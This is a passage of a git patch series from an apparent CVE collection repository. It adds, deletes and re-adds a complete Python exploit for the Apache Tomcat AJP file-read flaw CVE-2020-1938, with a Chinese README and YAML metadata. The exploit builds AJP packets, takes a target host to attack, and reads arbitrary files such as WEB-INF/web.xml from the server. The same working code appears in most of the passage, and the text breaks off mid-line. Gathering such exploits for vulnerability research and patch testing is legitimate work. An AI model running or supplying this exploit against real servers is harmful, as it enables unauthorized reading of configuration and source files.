CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N - cvss-score: 4.3 - cve-id: CVE-2020-10487 - cwe-id: CWE-352 - cnvd-id: None - kve-id: None - tags: cve2020, Apache, Tomcat, Ajp -- Gitee From 1f0f3bbda52d1c1c0597f2b63e843ade8169bba3 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:45:00 +0000 Subject: [PATCH 06/13] Tomcat CVE 1938 Signed-off-by: MaJiahao --- .../2020/yaml/CVE-2020-1938/CVE-2020-1938.py | 302 ++++++++++++++++++ .../2020/yaml/CVE-2020-1938/README.md | 19 ++ .../2020/yaml/yaml/CVE-2020-1938.yaml | 21 ++ 3 files changed, 342 insertions(+) create mode 100644 cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py create mode 100644 cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md create mode 100644 cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py b/cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py new file mode 100644 index 00000000..9721890b --- /dev/null +++ b/cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python +#CVE-2020-1938 Tomcat-Ajp lfi +#by ydhcui +import struct + +# Some references: +# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html +def pack_string(s): + if s is None: + return struct.pack(">h", -1) + l = len(s) + return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) +def unpack(stream, fmt): + size = struct.calcsize(fmt) + buf = stream.read(size) + return struct.unpack(fmt, buf) +def unpack_string(stream): + size, = unpack(stream, ">h") + if size == -1: # null string + return None + res, = unpack(stream, "%ds" % size) + stream.read(1) # \0 + return res +class NotFoundException(Exception): + pass +class AjpBodyRequest(object): + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + MAX_REQUEST_LENGTH = 8186 + def __init__(self, data_stream, data_len, data_direction=None): + self.data_stream = data_stream + self.data_len = data_len + self.data_direction = data_direction + def serialize(self): + data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) + if len(data) == 0: + return struct.pack(">bbH", 0x12, 0x34, 0x00) + else: + res = struct.pack(">H", len(data)) + res += data + if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbH", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbH", 0x41, 0x42, len(res)) + return header + res + def send_and_receive(self, socket, stream): + while True: + data = self.serialize() + socket.send(data) + r = AjpResponse.receive(stream) + while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: + r = AjpResponse.receive(stream) + + if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: + break +class AjpForwardRequest(object): + _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) + REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + COMMON_HEADERS = ["SC_REQ_ACCEPT", + "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", + "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", + "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" + ] + ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] + def __init__(self, data_direction=None): + self.prefix_code = 0x02 + self.method = None + self.protocol = None + self.req_uri = None + self.remote_addr = None + self.remote_host = None + self.server_name = None + self.server_port = None + self.is_ssl = None + self.num_headers = None + self.request_headers = None + self.attributes = None + self.data_direction = data_direction + def pack_headers(self): + self.num_headers = len(self.request_headers) + res = "" + res = struct.pack(">h", self.num_headers) + for h_name in self.request_headers: + if h_name.startswith("SC_REQ"): + code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 + res += struct.pack("BB", 0xA0, code) + else: + res += pack_string(h_name) + + res += pack_string(self.request_headers[h_name]) + return res + + def pack_attributes(self): + res = b"" + for attr in self.attributes: + a_name = attr['name'] + code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 + res += struct.pack("b", code) + if a_name == "req_attribute": + aa_name, a_value = attr['value'] + res += pack_string(aa_name) + res += pack_string(a_value) + else: + res += pack_string(attr['value']) + res += struct.pack("B", 0xFF) + return res + def serialize(self): + res = "" + res = struct.pack("bb", self.prefix_code, self.method) + res += pack_string(self.protocol) + res += pack_string(self.req_uri) + res += pack_string(self.remote_addr) + res += pack_string(self.remote_host) + res += pack_string(self.server_name) + res += struct.pack(">h", self.server_port) + res += struct.pack("?", self.is_ssl) + res += self.pack_headers() + res += self.pack_attributes() + if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: + header = struct.pack(">bbh", 0x12, 0x34, len(res)) + else: + header = struct.pack(">bbh", 0x41, 0x42, len(res)) + return header + res + def parse(self, raw_packet): + stream = StringIO(raw_packet) + self.magic1, self.magic2, data_len = unpack(stream, "bbH") + self.prefix_code, self.method = unpack(stream, "bb") + self.protocol = unpack_string(stream) + self.req_uri = unpack_string(stream) + self.remote_addr = unpack_string(stream) + self.remote_host = unpack_string(stream) + self.server_name = unpack_string(stream) + self.server_port = unpack(stream, ">h") + self.is_ssl = unpack(stream, "?") + self.num_headers, = unpack(stream, ">H") + self.request_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code > 0xA000: + h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] + else: + h_name = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + self.request_headers[h_name] = h_value + def send_and_receive(self, socket, stream, save_cookies=False): + res = [] + i = socket.sendall(self.serialize()) + if self.method == AjpForwardRequest.POST: + return res + + r = AjpResponse.receive(stream) + assert r.prefix_code == AjpResponse.SEND_HEADERS + res.append(r) + if save_cookies and 'Set-Cookie' in r.response_headers: + self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] + + # read body chunks and end response packets + while True: + r = AjpResponse.receive(stream) + res.append(r) + if r.prefix_code == AjpResponse.END_RESPONSE: + break + elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: + continue + else: + raise NotImplementedError + break + + return res + +class AjpResponse(object): + _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) + COMMON_SEND_HEADERS = [ + "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", + "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" + ] + def parse(self, stream): + # read headers + self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") + + if self.prefix_code == AjpResponse.SEND_HEADERS: + self.parse_send_headers(stream) + elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: + self.parse_send_body_chunk(stream) + elif self.prefix_code == AjpResponse.END_RESPONSE: + self.parse_end_response(stream) + elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: + self.parse_get_body_chunk(stream) + else: + raise NotImplementedError + + def parse_send_headers(self, stream): + self.http_status_code, = unpack(stream, ">H") + self.http_status_msg = unpack_string(stream) + self.num_headers, = unpack(stream, ">H") + self.response_headers = {} + for i in range(self.num_headers): + code, = unpack(stream, ">H") + if code <= 0xA000: # custom header + h_name, = unpack(stream, "%ds" % code) + stream.read(1) # \0 + h_value = unpack_string(stream) + else: + h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] + h_value = unpack_string(stream) + self.response_headers[h_name] = h_value + + def parse_send_body_chunk(self, stream): + self.data_length, = unpack(stream, ">H") + self.data = stream.read(self.data_length+1) + + def parse_end_response(self, stream): + self.reuse, = unpack(stream, "b") + + def parse_get_body_chunk(self, stream): + rlen, = unpack(stream, ">H") + return rlen + + @staticmethod + def receive(stream): + r = AjpResponse() + r.parse(stream) + return r + +import socket + +def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): + fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) + fr.method = method + fr.protocol = "HTTP/1.1" + fr.req_uri = req_uri + fr.remote_addr = target_host + fr.remote_host = None + fr.server_name = target_host + fr.server_port = 80 + fr.request_headers = { + 'SC_REQ_ACCEPT': 'text/html', + 'SC_REQ_CONNECTION': 'keep-alive', + 'SC_REQ_CONTENT_LENGTH': '0', + 'SC_REQ_HOST': target_host, + 'SC_REQ_USER_AGENT': 'Mozilla', + 'Accept-Encoding': 'gzip, deflate, sdch', + 'Accept-Language': 'en-US,en;q=0.5', + 'Upgrade-Insecure-Requests': '1', + 'Cache-Control': 'max-age=0' + } + fr.is_ssl = False + fr.attributes = [] + return fr + +class Tomcat(object): + def __init__(self, target_host, target_port): + self.target_host = target_host + self.target_port = target_port + + self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.socket.connect((target_host, target_port)) + self.stream = self.socket.makefile("rb", bufsize=0) + + def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): + self.req_uri = req_uri + self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) + print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) + if user is not None and password is not None: + self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') + for h in headers: + self.forward_request.request_headers[h] = headers[h] + for a in attributes: + self.forward_request.attributes.append(a) + responses = self.forward_request.send_and_receive(self.socket, self.stream) + if len(responses) == 0: + return None, None + snd_hdrs_res = responses[0] + data_res = responses[1:-1] + if len(data_res) == 0: + print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) + return snd_hdrs_res, data_res + +''' +javax.servlet.include.request_uri +javax.servlet.include.path_info +javax.servlet.include.servlet_path +''' + +import argparse +parser = argparse.ArgumentParser() +parser.add_argument("target", type=str, help="Hostname or IP to attack") +parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") +parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") +args = parser.parse_args() +t = Tomcat(args.target, args.port) +_,data = t.perform_request('/asdf',attributes=[ + {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, + {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, + {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, + ]) +print('----------------------------') +print("".join([d.data for d in data])) diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md b/cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md new file mode 100644 index 00000000..e5a6cb75 --- /dev/null +++ b/cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md @@ -0,0 +1,19 @@ +# CVE-2020-1938-Tomcat-Ajp-lfi +Apache Tomcat-Ajp协议文件读取 漏洞 (CNVD-2020-10487/CVE-2020-1938) + +# Tomcat +#Use +Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。 +CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 + + + +# eg + +python3 CVE-2020-1938.py + +# reference +code from: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi + + + diff --git a/cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml b/cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml new file mode 100644 index 00000000..dcd5e798 --- /dev/null +++ b/cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml @@ -0,0 +1,21 @@ +id: CVE-2020-1938 +source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi +info: + name: Apache Tomcat CVE-2020-1938. + severity: high + description: + CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 + + scope-of-influence: + Apache Tomcat < 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50, 7.0.0 to 7.0.99, 6.x + reference: + - https://github.com/0nise/CVE-2020-1938 + - https://nvd.nist.gov/vuln/detail/CVE-2020-1938 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 CRITICAL + cve-id: CVE-2020-1938 + cwe-id: NVD-CWE-Other + cnvd-id: None + kve-id: None + tags: cve2020, Apache, Tomcat, Ajp -- Gitee From 0a3c64d64526f91c2b8ed480d1465cedec166992 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:45:25 +0000 Subject: [PATCH 07/13] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/apache-tomcat/2020/yaml/yaml?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2020/yaml/yaml/CVE-2020-1938.yaml | 21 ------------------- 1 file changed, 21 deletions(-) delete mode 100644 cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml diff --git a/cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml b/cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml deleted file mode 100644 index dcd5e798..00000000 --- a/cve/apache-tomcat/2020/yaml/yaml/CVE-2020-1938.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: CVE-2020-1938 -source: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi -info: - name: Apache Tomcat CVE-2020-1938. - severity: high - description: - CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 - - scope-of-influence: - Apache Tomcat < 9.0.0.M1 to 9.0.0.30, 8.5.0 to 8.5.50, 7.0.0 to 7.0.99, 6.x - reference: - - https://github.com/0nise/CVE-2020-1938 - - https://nvd.nist.gov/vuln/detail/CVE-2020-1938 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 CRITICAL - cve-id: CVE-2020-1938 - cwe-id: NVD-CWE-Other - cnvd-id: None - kve-id: None - tags: cve2020, Apache, Tomcat, Ajp -- Gitee From 57853dd74dae97b02b8ce1cae26deb2772d44618 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:45:39 +0000 Subject: [PATCH 08/13] =?UTF-8?q?=E5=88=A0=E9=99=A4=E6=96=87=E4=BB=B6=20cv?= =?UTF-8?q?e/apache-tomcat/2020/yaml/CVE-2020-1938?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../2020/yaml/CVE-2020-1938/CVE-2020-1938.py | 302 ------------------ .../2020/yaml/CVE-2020-1938/README.md | 19 -- 2 files changed, 321 deletions(-) delete mode 100644 cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py delete mode 100644 cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py b/cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py deleted file mode 100644 index 9721890b..00000000 --- a/cve/apache-tomcat/2020/yaml/CVE-2020-1938/CVE-2020-1938.py +++ /dev/null @@ -1,302 +0,0 @@ -#!/usr/bin/env python -#CVE-2020-1938 Tomcat-Ajp lfi -#by ydhcui -import struct - -# Some references: -# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html -def pack_string(s): - if s is None: - return struct.pack(">h", -1) - l = len(s) - return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) -def unpack(stream, fmt): - size = struct.calcsize(fmt) - buf = stream.read(size) - return struct.unpack(fmt, buf) -def unpack_string(stream): - size, = unpack(stream, ">h") - if size == -1: # null string - return None - res, = unpack(stream, "%ds" % size) - stream.read(1) # \0 - return res -class NotFoundException(Exception): - pass -class AjpBodyRequest(object): - # server == web server, container == servlet - SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) - MAX_REQUEST_LENGTH = 8186 - def __init__(self, data_stream, data_len, data_direction=None): - self.data_stream = data_stream - self.data_len = data_len - self.data_direction = data_direction - def serialize(self): - data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) - if len(data) == 0: - return struct.pack(">bbH", 0x12, 0x34, 0x00) - else: - res = struct.pack(">H", len(data)) - res += data - if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER: - header = struct.pack(">bbH", 0x12, 0x34, len(res)) - else: - header = struct.pack(">bbH", 0x41, 0x42, len(res)) - return header + res - def send_and_receive(self, socket, stream): - while True: - data = self.serialize() - socket.send(data) - r = AjpResponse.receive(stream) - while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS: - r = AjpResponse.receive(stream) - - if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4: - break -class AjpForwardRequest(object): - _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28) - REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE} - # server == web server, container == servlet - SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) - COMMON_HEADERS = ["SC_REQ_ACCEPT", - "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION", - "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2", - "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT" - ] - ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"] - def __init__(self, data_direction=None): - self.prefix_code = 0x02 - self.method = None - self.protocol = None - self.req_uri = None - self.remote_addr = None - self.remote_host = None - self.server_name = None - self.server_port = None - self.is_ssl = None - self.num_headers = None - self.request_headers = None - self.attributes = None - self.data_direction = data_direction - def pack_headers(self): - self.num_headers = len(self.request_headers) - res = "" - res = struct.pack(">h", self.num_headers) - for h_name in self.request_headers: - if h_name.startswith("SC_REQ"): - code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1 - res += struct.pack("BB", 0xA0, code) - else: - res += pack_string(h_name) - - res += pack_string(self.request_headers[h_name]) - return res - - def pack_attributes(self): - res = b"" - for attr in self.attributes: - a_name = attr['name'] - code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1 - res += struct.pack("b", code) - if a_name == "req_attribute": - aa_name, a_value = attr['value'] - res += pack_string(aa_name) - res += pack_string(a_value) - else: - res += pack_string(attr['value']) - res += struct.pack("B", 0xFF) - return res - def serialize(self): - res = "" - res = struct.pack("bb", self.prefix_code, self.method) - res += pack_string(self.protocol) - res += pack_string(self.req_uri) - res += pack_string(self.remote_addr) - res += pack_string(self.remote_host) - res += pack_string(self.server_name) - res += struct.pack(">h", self.server_port) - res += struct.pack("?", self.is_ssl) - res += self.pack_headers() - res += self.pack_attributes() - if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER: - header = struct.pack(">bbh", 0x12, 0x34, len(res)) - else: - header = struct.pack(">bbh", 0x41, 0x42, len(res)) - return header + res - def parse(self, raw_packet): - stream = StringIO(raw_packet) - self.magic1, self.magic2, data_len = unpack(stream, "bbH") - self.prefix_code, self.method = unpack(stream, "bb") - self.protocol = unpack_string(stream) - self.req_uri = unpack_string(stream) - self.remote_addr = unpack_string(stream) - self.remote_host = unpack_string(stream) - self.server_name = unpack_string(stream) - self.server_port = unpack(stream, ">h") - self.is_ssl = unpack(stream, "?") - self.num_headers, = unpack(stream, ">H") - self.request_headers = {} - for i in range(self.num_headers): - code, = unpack(stream, ">H") - if code > 0xA000: - h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001] - else: - h_name = unpack(stream, "%ds" % code) - stream.read(1) # \0 - h_value = unpack_string(stream) - self.request_headers[h_name] = h_value - def send_and_receive(self, socket, stream, save_cookies=False): - res = [] - i = socket.sendall(self.serialize()) - if self.method == AjpForwardRequest.POST: - return res - - r = AjpResponse.receive(stream) - assert r.prefix_code == AjpResponse.SEND_HEADERS - res.append(r) - if save_cookies and 'Set-Cookie' in r.response_headers: - self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie'] - - # read body chunks and end response packets - while True: - r = AjpResponse.receive(stream) - res.append(r) - if r.prefix_code == AjpResponse.END_RESPONSE: - break - elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK: - continue - else: - raise NotImplementedError - break - - return res - -class AjpResponse(object): - _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7) - COMMON_SEND_HEADERS = [ - "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified", - "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate" - ] - def parse(self, stream): - # read headers - self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb") - - if self.prefix_code == AjpResponse.SEND_HEADERS: - self.parse_send_headers(stream) - elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK: - self.parse_send_body_chunk(stream) - elif self.prefix_code == AjpResponse.END_RESPONSE: - self.parse_end_response(stream) - elif self.prefix_code == AjpResponse.GET_BODY_CHUNK: - self.parse_get_body_chunk(stream) - else: - raise NotImplementedError - - def parse_send_headers(self, stream): - self.http_status_code, = unpack(stream, ">H") - self.http_status_msg = unpack_string(stream) - self.num_headers, = unpack(stream, ">H") - self.response_headers = {} - for i in range(self.num_headers): - code, = unpack(stream, ">H") - if code <= 0xA000: # custom header - h_name, = unpack(stream, "%ds" % code) - stream.read(1) # \0 - h_value = unpack_string(stream) - else: - h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001] - h_value = unpack_string(stream) - self.response_headers[h_name] = h_value - - def parse_send_body_chunk(self, stream): - self.data_length, = unpack(stream, ">H") - self.data = stream.read(self.data_length+1) - - def parse_end_response(self, stream): - self.reuse, = unpack(stream, "b") - - def parse_get_body_chunk(self, stream): - rlen, = unpack(stream, ">H") - return rlen - - @staticmethod - def receive(stream): - r = AjpResponse() - r.parse(stream) - return r - -import socket - -def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET): - fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER) - fr.method = method - fr.protocol = "HTTP/1.1" - fr.req_uri = req_uri - fr.remote_addr = target_host - fr.remote_host = None - fr.server_name = target_host - fr.server_port = 80 - fr.request_headers = { - 'SC_REQ_ACCEPT': 'text/html', - 'SC_REQ_CONNECTION': 'keep-alive', - 'SC_REQ_CONTENT_LENGTH': '0', - 'SC_REQ_HOST': target_host, - 'SC_REQ_USER_AGENT': 'Mozilla', - 'Accept-Encoding': 'gzip, deflate, sdch', - 'Accept-Language': 'en-US,en;q=0.5', - 'Upgrade-Insecure-Requests': '1', - 'Cache-Control': 'max-age=0' - } - fr.is_ssl = False - fr.attributes = [] - return fr - -class Tomcat(object): - def __init__(self, target_host, target_port): - self.target_host = target_host - self.target_port = target_port - - self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - self.socket.connect((target_host, target_port)) - self.stream = self.socket.makefile("rb", bufsize=0) - - def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]): - self.req_uri = req_uri - self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method)) - print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri)) - if user is not None and password is not None: - self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '') - for h in headers: - self.forward_request.request_headers[h] = headers[h] - for a in attributes: - self.forward_request.attributes.append(a) - responses = self.forward_request.send_and_receive(self.socket, self.stream) - if len(responses) == 0: - return None, None - snd_hdrs_res = responses[0] - data_res = responses[1:-1] - if len(data_res) == 0: - print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers) - return snd_hdrs_res, data_res - -''' -javax.servlet.include.request_uri -javax.servlet.include.path_info -javax.servlet.include.servlet_path -''' - -import argparse -parser = argparse.ArgumentParser() -parser.add_argument("target", type=str, help="Hostname or IP to attack") -parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)") -parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)") -args = parser.parse_args() -t = Tomcat(args.target, args.port) -_,data = t.perform_request('/asdf',attributes=[ - {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']}, - {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]}, - {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']}, - ]) -print('----------------------------') -print("".join([d.data for d in data])) diff --git a/cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md b/cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md deleted file mode 100644 index e5a6cb75..00000000 --- a/cve/apache-tomcat/2020/yaml/CVE-2020-1938/README.md +++ /dev/null @@ -1,19 +0,0 @@ -# CVE-2020-1938-Tomcat-Ajp-lfi -Apache Tomcat-Ajp协议文件读取 漏洞 (CNVD-2020-10487/CVE-2020-1938) - -# Tomcat -#Use -Apache Tomcat是由Apache软件基金会属下Jakarta项目开发的Servlet容器。 -CNVD-2020-10487/CVE-2020-1938是文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件、源代码等。 - - - -# eg - -python3 CVE-2020-1938.py - -# reference -code from: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi - - - -- Gitee From 0191ee4f82bdacd68dab6cea399c3e0004008c00 Mon Sep 17 00:00:00 2001 From: MaJiahao Date: Mon, 13 Mar 2023 12:45:57 +0000 Subject: [PATCH 09/13] Tomcat CVE 1938 Signed-off-by: MaJiahao --- .../2020/CVE-2020-1938/CVE-2020-1938.py | 302 ++++++++++++++++++ .../2020/CVE-2020-1938/README.md | 19 ++ .../2020/yaml/CVE-2020-1938.yaml | 21 ++ 3 files changed, 342 insertions(+) create mode 100644 cve/apache-tomcat/2020/CVE-2020-1938/CVE-2020-1938.py create mode 100644 cve/apache-tomcat/2020/CVE-2020-1938/README.md create mode 100644 cve/apache-tomcat/2020/yaml/CVE-2020-1938.yaml diff --git a/cve/apache-tomcat/2020/CVE-2020-1938/CVE-2020-1938.py b/cve/apache-tomcat/2020/CVE-2020-1938/CVE-2020-1938.py new file mode 100644 index 00000000..9721890b --- /dev/null +++ b/cve/apache-tomcat/2020/CVE-2020-1938/CVE-2020-1938.py @@ -0,0 +1,302 @@ +#!/usr/bin/env python +#CVE-2020-1938 Tomcat-Ajp lfi +#by ydhcui +import struct + +# Some references: +# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html +def pack_string(s): + if s is None: + return struct.pack(">h", -1) + l = len(s) + return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0) +def unpack(stream, fmt): + size = struct.calcsize(fmt) + buf = stream.read(size) + return struct.unpack(fmt, buf) +def unpack_string(stream): + size, = unpack(stream, ">h") + if size == -1: # null string + return None + res, = unpack(stream, "%ds" % size) + stream.read(1) # \0 + return res +class NotFoundException(Exception): + pass +class AjpBodyRequest(object): + # server == web server, container == servlet + SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2) + MAX_REQUEST_LENGTH = 8186 + def __init__(self, data_stream, data_len, data_direction=None): + self.data_stream = data_stream + self.data_len = data_len + self.data_direction = data_direction + def serialize(self): + data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH) + if len(data) == 0: + return struct.pack(">bbH", 0x12, 0x34, 0x00) + else: + res = struct.pack(">H", len(data)) + res += data + if self.data_direction == 